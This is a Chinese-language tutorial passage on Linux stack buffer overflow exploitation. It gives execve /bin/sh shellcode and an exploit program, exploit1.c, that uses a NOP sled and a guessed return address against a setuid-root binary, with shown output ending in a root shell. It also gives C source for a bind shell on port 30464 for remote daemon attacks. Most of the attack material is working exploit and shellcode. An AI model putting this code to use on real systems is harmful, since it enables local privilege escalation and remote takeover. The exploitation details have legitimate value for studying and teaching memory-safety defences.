三:利用堆栈溢出获得shell
好了,现在我们已经制造了一次堆栈溢出,写好了一个shellcode。准备工作都已经作完, 我们把二者结合起来,就写出一个利用堆栈溢出获得shell的程序。 overflow1.c ------------------------------------------------------------------------ ------ char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"
char large_string[128];
void main() { char buffer[96]; int i; long *long_ptr = (long *) large_string;
for (i = 0; i < 32; i++) *(long_ptr + i) = (int) buffer;
for (i = 0; i < strlen(shellcode); i++) large_string[i] = shellcode[i];
strcpy(buffer,large_string); } ------------------------------------------------------------------------ ------ 在执行完strcpy后,堆栈内容如下所示:
内存底部 内存顶部 buffer EBP ret <------ [SSS...SSSA ][A ][A ]A..A ^&buffer 栈顶部 堆栈底部 注:S表示shellcode。 A表示shellcode的地址。
这样,在执行完strcpy后,overflow。c将从ret取出A作为返回地址,从而执行了我们 的shellcode。
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利用堆栈溢出获得shell
现在让我们进入最刺激的一讲,利用别人的程序的堆栈溢出获得rootshell。我们 将面对 一个有strcpy堆栈溢出漏洞的程序,利用前面说过的方法来得到shell。
回想一下前面所讲,我们通过一个shellcode数组来存放shellcode,利用程序中的 strcpy 函数,把shellcode放到了程序的堆栈之中;我们制造了数组越界,用shellcode的 开始地 址覆盖了程序(overflow.c)的返回地址,程序在返回的时候就会去执行我们的 shellcode,从而我们得到了一个shell。
当我们面对别人写的程序时,为了让他执行我们的shellcode,同样必须作这两件 事: 1:把我们的shellcode提供给他,让他可以访问shellcode。 2:修改他的返回地址为shellcode的入口地址。
为了做到这两条,我们必须知道他的strcpy(buffer,ourshellcode)中,buffer 的地址。 因为当我们把shellcode提供给strcpy之后,buffer的开始地址就是shellcode的开 始地址 ,我们必须用这个地址来覆盖堆栈才成。这一点大家一定要明确。
我们知道,对于操作系统来说,一个shell下的每一个程序的堆栈段开始地址都是 相同的 。我们可以写一个程序,获得运行时的堆栈起始地址,这样,我们就知道了目标程 序堆栈 的开始地址。
下面这个函数,用eax返回当前程序的堆栈指针。(所有C函数的返回值都放在eax 寄存器 里面): ------------------------------------------------------------------------ ------ unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } ------------------------------------------------------------------------ ------
我们在知道了堆栈开始地址后,buffer相对于堆栈开始地址的偏移,是他程序员自 己 写出来的程序决定的,我们不知道,只能靠猜测了。不过,一般的程序堆栈大约是 几K 左右。所以,这个buffer与上面得到的堆栈地址,相差就在几K之间。
显然猜地址这是一件很难的事情,从0试到10K,会把人累死的。
前面我们用来覆盖堆栈的溢出字符串为: SSSSSSSSSSSSAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 现在,为了提高命中率,我们对他进行如下改进: 用来溢出的字符串变为: NNNNNNNNNNNNNNNNSSSSSSSSSSSSSSSAAAAAAAAAAAAAAAAAAA 其中: N为NOP.NOP指令意思是什么都不作,跳过一个CPU指令周期。在intel机器上, NOP指令的机器码为0x90。 S为shellcode。 A为我们猜测的buffer的地址。这样,A猜大了也可以落在N上,并且最终会执行到 S. 这个改进大大提高了猜测的命中率,有时几乎可以一次命中。:)))
好了,枯燥的算法分析完了,下面就是利用./vulnerable1的堆栈溢出漏洞来得到 shell的程序: exploit1.c ------------------------------------------------------------------------ ---- #include<stdio.h> #include<stdlib.h>
#define OFFSET 0 #define RET_POSITION 1024 #define RANGE 20 #define NOP 0x90
char shellcode[]= "\xeb\x1f" /* jmp 0x1f */ "\x5e" /* popl %esi */ "\x89\x76\x08" /* movl %esi,0x8(%esi) */ "\x31\xc0" /* xorl %eax,%eax */ "\x88\x46\x07" /* movb %eax,0x7(%esi) */ "\x89\x46\x0c" /* movl %eax,0xc(%esi) */ "\xb0\x0b" /* movb $0xb,%al */ "\x89\xf3" /* movl %esi,%ebx */ "\x8d\x4e\x08" /* leal 0x8(%esi),%ecx */ "\x8d\x56\x0c" /* leal 0xc(%esi),%edx */ "\xcd\x80" /* int $0x80 */ "\x31\xdb" /* xorl %ebx,%ebx */ "\x89\xd8" /* movl %ebx,%eax */ "\x40" /* inc %eax */ "\xcd\x80" /* int $0x80 */ "\xe8\xdc\xff\xff\xff" /* call -0x24 */ "/bin/sh" /* .string \"/bin/sh\" */
unsigned long get_sp(void) { __asm__("movl %esp,%eax"); }
main(int argc,char **argv) { char buff[RET_POSITION+RANGE+1],*ptr; long addr; unsigned long sp; int offset=OFFSET,bsize=RET_POSITION+RANGE+ALIGN+1; int i;
if(argc>1) offset=atoi(argv[1]);
sp=get_sp(); addr=sp-offset;
for(i=0;i<bsize;i+=4) *((long *)&(buff[i]))=addr;
for(i=0;i<bsize-RANGE*2-strlen(shellcode)-1;i++) buff[i]=NOP;
ptr=buff+bsize-RANGE*2-strlen(shellcode)-1; for(i=0;i<strlen(shellcode);i++) *(ptr++)=shellcode[i]; buff[bsize-1]="\0" //现在buff的内容为 //NNNNNNNNNNNNNNNSSSSSSSSSSSSSSSAAAAAAAAAAAAAAAAAAA\0
printf("Jump to 0x%08x\n",addr);
execl("./vulnerable1","vulnerable1",buff,0); } ------------------------------------------------------------------------ ---- execl用来执行目标程序./vulnerable1,buff是我们精心制作的溢出字符串, 作为./vulnerable1的参数提供。 以下是执行的结果: ------------------------------------------------------------------------ ---- [nkl10]$Content$nbsp;ls -l vulnerable1 -rwsr-xr-x 1 root root xxxx jan 10 16:19 vulnerable1* [nkl10]$Content$nbsp;ls -l exploit1 -rwxr-xr-x 1 ipxodi cinip xxxx Oct 18 13:20 exploit1* [nkl10]$Content$nbsp;./exploit1 Jump to 0xbfffec64 Segmentation fault [nkl10]$Content$nbsp;./exploit1 500 Jump to 0xbfffea70 bash# whoami root
bash# ------------------------------------------------------------------------ ---- 恭喜,恭喜,你获得了root shell。
下一讲,我们将进一步探讨shellcode的书写。我们将讨论一些很复杂的 shellcode。
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远程堆栈溢出
我们用堆栈溢出攻击守护进程daemon时,原理和前面提到过的本地攻击是相同的。 我们 必须提供给目标daemon一个溢出字符串,里面包含了shellcode。希望敌人在复制 (或者 别的串处理操作)这个串的时候发生堆栈溢出,从而执行我们的shellcode。
普通的shellcode将启动一个子进程执行sh,自己退出。对于我们这些远程的攻击 者来说 ,由于我们不在本地,这个sh我们并没有得到。
因此,对于远程使用者,我们传过去的shellcode就必须负担起打开一个socket, 然后 listen我们的连接,给我们一个远程shell的责任。
如何开一个远程shell呢?我们先申请一个socketfd,使用30464(随便,多少都行 )作为 这个socket连接的端口,bind他,然后在这个端口上等待连接listen。当有连接进 来后, 开一个子shell,把连接的clientfd作为子shell的stdin,stdout,stderr。这样, 我们 远程的使用者就有了一个远程shell(跟telnet一样啦)。
下面就是这个算法的C实现:
opensocket.c ------------------------------------------------------------------------ ---- 1#include<unistd.h> 2#include<sys/socket.h> 3#include<netinet/in.h>
4int soc,cli,soc_len; 5struct sockaddr_in serv_addr; 6struct sockaddr_in cli_addr;
7int main() 8{ 9 if(fork()==0) 10 { 11 serv_addr.sin_family=AF_INET; 12 serv_addr.sin_addr.s_addr=htonl(INADDR_ANY); 13 serv_addr.sin_port=htons(30464); 14 soc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 15 bind(soc,(struct sockaddr *)&serv_addr, sizeof(serv_addr)); 16 listen(soc,1); 17 soc_len=sizeof(cli_addr); 18 cli=accept(soc,(struct sockaddr *)&cli_addr, &soc_len); 19 dup2(cli,0); 20 dup2(cli,1); 21 dup2(cli,2); 22 execl("/bin/sh","sh",0); 23 } 24} ------------------------------------------------------------------------ ---- 第9行的fork()函数创建了一个子进程,对于父进程fork()的返回值是子进程的 pid, 对于子进程,fork()的返回值是0.本程序中,父进程执行了一个fork就退出了,子 进程 作为socket通信的执行者继续下面的操作。
10到23行都是子进程所作的事情。首先调用socket获得一个文件描述符soc,然后 调用 bind()绑定30464端口,接下来开始监听listen().程序挂起在accept等待客户连接 。
当有客户连接时,程序被唤醒,进行accept,然后把自己的标准输入,标准输出,
标准错误输出重定向到客户的文件描述符上,开一个子sh,这样,子shell继承了
这个进程的文件描述符,对于客户来说,就是得到了一个远程shell。
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